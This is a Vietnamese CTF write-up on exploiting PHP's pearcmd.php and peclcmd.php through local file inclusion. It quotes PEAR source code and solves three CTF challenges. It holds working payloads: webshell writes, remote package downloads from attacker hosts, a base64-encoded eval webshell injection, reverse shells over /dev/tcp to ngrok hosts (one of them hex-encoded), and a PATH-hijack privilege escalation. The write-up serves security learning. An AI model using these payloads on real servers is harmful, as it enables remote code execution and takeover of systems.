PECL (PHP Extension Community Library) là thư viện mở rộng cho ngôn ngữ PHP, cung cấp các extensions, cho phép mở rộng khả năng của PHP bằng các tính năng mới và tích hợp các thư viện. ## Điều kiện khai thác - Thông qua lỗ hổng LFI - Trong mọi phiên bản Docker image, pecl/pear sẽ mặc định được cài đặt và path là `/usr/local/lib/php` (nằm trong setting `include_path`). - `register_argc_argv` được set là `on`. ## register_argc_argv Giá trị mặc định này là `off`. Nếu nó được set là `on` thì có thể kiểm soát được `$_SERVER['argc']` và `$_SERVER['argv']` trong code PHP. Ví dụ: ``` <?php var_dump($_SERVER['argv']); var_dump($_SERVER['argc']); // số param ?> ``` ![image](https://hackmd.io/_uploads/SJPKoc9mT.png) ![image](https://hackmd.io/_uploads/r1xqsccmp.png) Việc phân tách các tham số dựa trên dấu `+` thay vì `&` ## register_argc_argv và pear `$_SERVER['argv']` sẽ trả về tham số cho pear để nó xử lý và thực thi Ví dụ tạo file config thông qua `config-create` bằng `pearcmd.php` (cái này khá phổ biến sử dụng để khai thác), sau khi cài thư viện này ta có thể dùng command line (tại thư mục chứa `pearcmd.php`): ```bash php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell.php ``` Kết quả: ![image](https://hackmd.io/_uploads/HJH3TZoQT.png) ![image](https://hackmd.io/_uploads/Hk6kR-iXT.png) Như đã nói ở trên `register_argc_argv` là `on` cho phép phân tách các tham số bằng dấu `+`. Như vậy command line trên trong request HTTP sẽ như sau (tất nhiên là với điều kiện LFI được): ![image](https://hackmd.io/_uploads/SJTLkGoQT.png) Kết quả: ![image](https://hackmd.io/_uploads/BJz_yGjmT.png) ## Cách thức hoạt động Refs: <https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp> `php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell.php` là một command line nhưng tại sao nó có thể thực hiện qua HTTP request? Đó nhờ qua giao thức CGI. >CGI (Common Gateway Interface) là một giao thức chuẩn cho việc tương tác giữa webserver và các ứng dụng trên server, như các ứng dụng CGI hoặc các file chạy command line. CGI được sử dụng để truyền dữ liệu giữa web servervà các ứng dụng hoặc file script và thực hiện các tác vụ dynamic (có param), ví dụ như xử lý form web hoặc tạo nội dung dynamic trên trang web. RFC3875 quy định rằng nếu query string không chứa ký tự `=` chưa được encoded và method là `GET` hoặc `HEAD` thì query string được sử dụng làm tham số cho command line (mặc dù quy định vậy nhưng khi query string có chứa dấu `=`, nó vẫn sẽ được gán cho `$_SERVER['argv']`.). Tiếp theo là việc pear xử lý tham số: ```php public static function readPHPArgv() { global $argv; if (!is_array($argv)) { if (!@is_array($_SERVER['argv'])) { if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) { $msg = "Could not read cmd args (register_argc_argv=Off?)"; return PEAR::raiseError("Console_Getopt: " . $msg); } return $GLOBALS['HTTP_SERVER_VARS']['argv']; } return $_SERVER['argv']; } return $argv; } ``` Param được lấy ra từ global `$argv`, nếu không có thì từ `$_SERVER['argv']`, nếu không có nữa thì `$GLOBALS['HTTP_SERVER_VARS']['argv']`. Nói cách khác, điều đó giúp truy cập được các chức năng của pear qua command line dựa vào web để có thể kiểm soát các param của command line đó. Một số thông số command line của pear: ![image](https://hackmd.io/_uploads/SyHV6fiXT.png) Nhìn vào dễ dàng thấy có `config-create` và để thực hiện nó thì cần 2 param, theo đoạn code xử lý (`PEAR/Command/Config.php`): ```php= function doConfigCreate($command, $options, $params) { if (count($params) != 2) { return PEAR::raiseError('config-create: must have 2 parameters, root path and ' . 'filename to save as'); } $root = $params[0]; // Clean up the DIRECTORY_SEPARATOR mess $ds2 = DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR; $root = preg_replace(array('!\\\\+!', '!/+!', "!$ds2+!"), array('/', '/', '/'), $root); if ($root[0] != '/') { if (!isset($options['windows'])) { return PEAR::raiseError('Root directory must be an absolute path beginning ' . 'with "/", was: "' . $root . '"'); } if (!preg_match('/^[A-Za-z]:/', $root)) { return PEAR::raiseError('Root directory must be an absolute path beginning ' . 'with "\\" or "C:\\", was: "' . $root . '"'); } } $windows = isset($options['windows']); if ($windows) { $root = str_replace('/', '\\', $root); } if (!file_exists($params[1]) && !@touch($params[1])) { return PEAR::raiseError('Could not create "' . $params[1] . '"'); } $params[1] = realpath($params[1]); $config = new PEAR_Config($params[1], '#no#system#config#', false, false); if ($root[strlen($root) - 1] == '/') { $root = substr($root, 0, strlen($root) - 1); } $config->noRegistry(); $config->set('php_dir', $windows ? "$root\\pear\\php" : "$root/pear/php", 'user'); $config->set('data_dir', $windows ? "$root\\pear\\data" : "$root/pear/data"); $config->set('www_dir', $windows ? "$root\\pear\\www" : "$root/pear/www"); $config->set('cfg_dir', $windows ? "$root\\pear\\cfg" : "$root/pear/cfg"); $config->set('ext_dir', $windows ? "$root\\pear\\ext" : "$root/pear/ext"); $config->set('doc_dir', $windows ? "$root\\pear\\docs" : "$root/pear/docs"); $config->set('test_dir', $windows ? "$root\\pear\\tests" : "$root/pear/tests"); $config->set('cache_dir', $windows ? "$root\\pear\\cache" : "$root/pear/cache"); $config->set('download_dir', $windows ? "$root\\pear\\download" : "$root/pear/download"); $config->set('temp_dir', $windows ? "$root\\pear\\temp" : "$root/pear/temp"); $config->set('bin_dir', $windows ? "$root\\pear" : "$root/pear"); $config->set('man_dir', $windows ? "$root\\pear\\man" : "$root/pear/man"); $config->writeConfigFile(); $this->_showConfig($config); $this->ui->outputData('Successfully created default configuration file "' . $params[1] . '"', $command); } ``` Cụ thể hơn, đoạn code trên đã thực hiện: 1. Kiểm tra param (nhận vào 2 param root path và filename để lưu). 2. Chuẩn hóa root path (liên quan về xử lý `\` và `/`) 3. Kiểm tra xem filename (param thứ 2) xem tồn tại chưa, sau đó tạo file config. 4. Thiết lập các giá trị thư mục trong file config. 5. Ghi cấu hình (`$config->writeConfigFile();`) 6. Hiển thị kết quả. ## Một vài payloads khác Ref: <https://github.com/w181496/Web-CTF-Cheatsheet#pear> ### 1. Ghi file - `/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php` (đây là payload phổ biến nhất) Không chỉ có `config-create` mà `man_dir`,`download`, `channel-discover` cũng có thể ghi file. - `/?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php` - `/?+download+https://kaibro.tw/shell.php+&file=/usr/local/lib/php/pearcmd.php` (cái này sẽ không chỉ định thư mục tải về và nó sẽ lưu với tên `shell.php` tại thư mục hiện tại và điều này sẽ bị hạn chế về quyền) - `/?+channel-discover+kaibro.tw/302.php?&file=/usr/local/lib/php/pearcmd.php` (tương tự trên nhưng sẽ bị hạn chế việc connection) ### 2. Install package Payloads: `/?+install+--force+--installroot+/tmp/wtf+https://pastebin.com/raw/Z4cejG3f+?&file=/usr/local/lib/php/pearcmd.php` Cách này sẽ down về folder và path hơi loằng ngoằng: ![image](https://hackmd.io/_uploads/By2QoQiQp.png) ### 3. Command Injection - `/?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14` - `/?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archive_Tar-1.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&` - `/?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archive_Tar+&file=/usr/local/lib/php/pearcmd.php&` (3 cái trên không biết đã fix ở bản nào chưa vì test không được 😥) ### 4. Command injection 2 **run-tests** ![image](https://hackmd.io/_uploads/HybtwdhQa.png) Như cái tên thì nó có chức năng chạy thử 1 package của pear. flag `-i` như ở trên áp dụng setting của file `php.ini`. Tuy nhiên giá trị được nối chuỗi trực tiếp vào command dẫn đến lỗ hổng command injection: `PEAR/RunTest.php` (nó là biến `$ini_settings`): ```php function run($file, $ini_settings = array(), $test_number = 1) { ... $args = $section_text['ARGS'] ? ' -- '.$section_text['ARGS'] : ''; $cmd = $this->_preparePhpBin($this->_php, $temp_file, $ini_settings); $cmd.= "$args 2>&1"; } function _preparePhpBin($php, $file, $ini_settings) { $file = escapeshellarg($file); $cmd = $php . $ini_settings . ' -f ' . $file; return $cmd; } ``` Quay trở lại `-i` giá trị của nó ta sẽ dùng `-r "codephp"` (php cli). Một thứ nữa là cần file để run test: `.phpt` và nó có trong `/usr/local/lib/php/test/Console_Getopt/tests/` Việc search file `find / -name "*.phpt"` để tìm Payload sẽ hạn chế việc dùng space (tránh escape lung tung): - command line: `php peclcmd.php run-tests -i "-r\"system(hex2bin('736C6565702035'));\"" /usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt` - payload: `/?page=../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('PAYLOAD'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt` ## Vài bài CTF >Trong thời điểm diễn ra các bài CTF như ở dưới, tất nhiên là sẽ chưa xuất hiện các payloads như ở trên nên khá khó khai thác. >Nói chung thì các payloads ở trên đã tổng hợp được từ các bài CTF cho tới nay. ### 2linephp - Balsn CTF 2021 Phân tích source: ```php <?php ($_=@implode($_GET)) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!"); ($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php'); ``` Dòng đầu tiên: - `implode($_GET)` dùng để chuyển mảng `$_GET` thành chuỗi lưu vào biến `$_` - `stripos` được sử dụng để chặn các từ khóa `zip`, `p:`, `s:` của các biến `$_GET`. Dòng thứ 2: - Tạo ra 1 tên file từ param `kaibro` nối với extension `php` lưu vào `$_`. Ở đây, param không được xử lý dẫn đến việc xảy ra lỗ hổng *LFI*. - `substr(file($_)[0],0,5)` lấy ra 5 ký tự đầu tiên của dòng thứ nhất của file đó, nếu là `<?php` thì thực hiện `include()` file đó không thì là `phpinfo.php`. => Như vậy đây là bài toán LFI nhưng chỉ include được file php. Đồng thời bài cho thông tin qua `phpinfo()`, ta có thể tìm kiếm vài thông tin để khai thác: ![image](https://hackmd.io/_uploads/rJepvuj7T.png) `pearcmd.php` sẽ nằm trong path: ![image](https://hackmd.io/_uploads/BJfeuOomT.png) Tuy nhiên mấu chốt của bài này là việc include file shell phải chứa `<?php` ở đầu, nếu sử dụng payload thông thường như config-create sẽ bị hạn chế. Ta bypass bằng cách: `/?+install+--force+--installroot+/tmp/abc+https://223e-27-72-137-31.ngrok-free.app/sh.php+?&kaibro=/usr/local/lib/php/pearcmd` hoặc là: Khi đó file `sh.php` sẽ ở `/tmp/abc/tmp/pear/download/sh.php` ![image](https://hackmd.io/_uploads/Hy6p3U3Qp.png) Hoặc: `/?+channel-discover+223e-27-72-137-31.ngrok-free.app/sh.php?&kaibro=/usr/local/lib/php/pearcmd` và file `sh.php` nằm ở `/tmp/pear/temp`: ![image](https://hackmd.io/_uploads/HyV27P3m6.png) ### readonly - SEETF-2023 Bài này là dạng command injection như ở [trên](https://hackmd.io/@chuong/pearcmd#4-Command-injection-2) Lỗ hổng LFI: ![image](https://hackmd.io/_uploads/ryZTVF37p.png) payload: `/?page=../../../../../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('62617368202d63202262617368202d69203e26202f6465762f7463702f746370302e7463702e61702e6e67726f6b2e696f2f313432333220303e263122'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt` (`62617368202...` là reverse shel) ![image](https://hackmd.io/_uploads/B1ZPHth7a.png) ### filestore - ångstromCTF 2023 Source: ```php <?php if($_SERVER['REQUEST_METHOD'] == "POST"){ if ($_FILES["f"]["size"] > 1000) { echo "file too large"; return; } $i = uniqid(); if (empty($_FILES["f"])){ return; } if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $i . "_" . hash('sha256', $_FILES["f"]["name"]) . "_" . $_FILES["f"]["name"])){ echo "upload success"; } else { echo "upload error"; } } else { if (isset($_GET["f"])) { include "./uploads/" . $_GET["f"]; } highlight_file("index.php"); // this doesn't work, so I'm commenting it out 😛 // system("/list_uploads"); } ?> ``` Bài có chức năng upload file, tuy nhiên file upload có tên random => không thể kiểm soát được. Thêm nữa `include "./uploads/" . $_GET["f"];` - lỗ hổng LFI. Ngoài ra bài cho 2 file binary, khi bỏ vào IDA ta biết được: - `list_uploads` ![image](https://hackmd.io/_uploads/S1V2zq3Qp.png) File này có chức năng thực thi `ls` để list ra hết trong `/var/www/html/uploads` Theo `Dockerfile`: ```dockerfile RUN chown admin:admin /list_uploads &&\ chmod 111 /list_uploads &&\ chmod g+s /list_uploads ``` - `make_abyss_entry` ![image](https://hackmd.io/_uploads/rJUO49n7a.png) Theo `Dockerfile`: ```dockerfile COPY make_abyss_entry /make_abyss_entry RUN chown root:root /make_abyss_entry &&\ chmod 111 /make_abyss_entry &&\ chmod g+s /make_abyss_entry ... RUN mkdir /abyss &&\ chown -R root:root /abyss &&\ chmod -R 331 /abyss ``` Thường thì ở các bài LFI, mình thường nghĩ đến `pearcmd.php` sau cùng, mà thôi vì làm lại nên tập trung vào nó luôn: Payload: `/?+config-create+/&f=../../../../../usr/local/lib/php/pearcmd.php&/<?=system($_GET[0])?>+/tmp/shell.php` RCE: ![image](https://hackmd.io/_uploads/H1qA933Qa.png) Để dễ dàng khai thác tiếp ta dùng reverse shell: `/?f=../../../../tmp/shell.php&0=bash+-c+'sh+-i+>%26+/dev/tcp/tcp0.tcp.ap.ngrok.io/16600+0>%261'` ![image](https://hackmd.io/_uploads/rkoEG02Qa.png) Leo thang đặc quyền: Quay trở lại 2 file binary lúc đầu. ![image](https://hackmd.io/_uploads/Bypyp227T.png) Ý tưởng bài này là sử dụng PATH (bởi vì nếu thử các cách kia thì không được 😐). Nhớ lại file `list_uploads` sẽ thực thi command: `ls /var/www/html/uploads` Ta sẽ ghi đè `ls`, ví dụ như `cat /flag.txt;ls` Để ý `/make_abyss_entry` tạo ra thư mục có tên random trong `/abyss` nhằm mục đích tạo file `ls` ở trong đó (thật ra cũng có nhiều người tạo trong `/tmp`). Trong `Dockerfile`: ```dockerfile RUN rm -f /bin/chmod /usr/bin/chmod /bin/chown /usr/bin/chown ``` Như vậy không thể cấp quyền cho `ls`, ta bypass bằng cách dùng `perl`: ```bash perl -e "chmod 0755,'file'" ``` Khai thác: ![image](https://hackmd.io/_uploads/ByDhm0n7p.png) Solution này mình đọc từ bài viết của anh [@devme4f](https://hackmd.io/@devme4f/B1YGfYv7n), cũng có vài cách khác thì cũng khá tương tự nhưng cách này dễ hiểu và đơn giản hơn.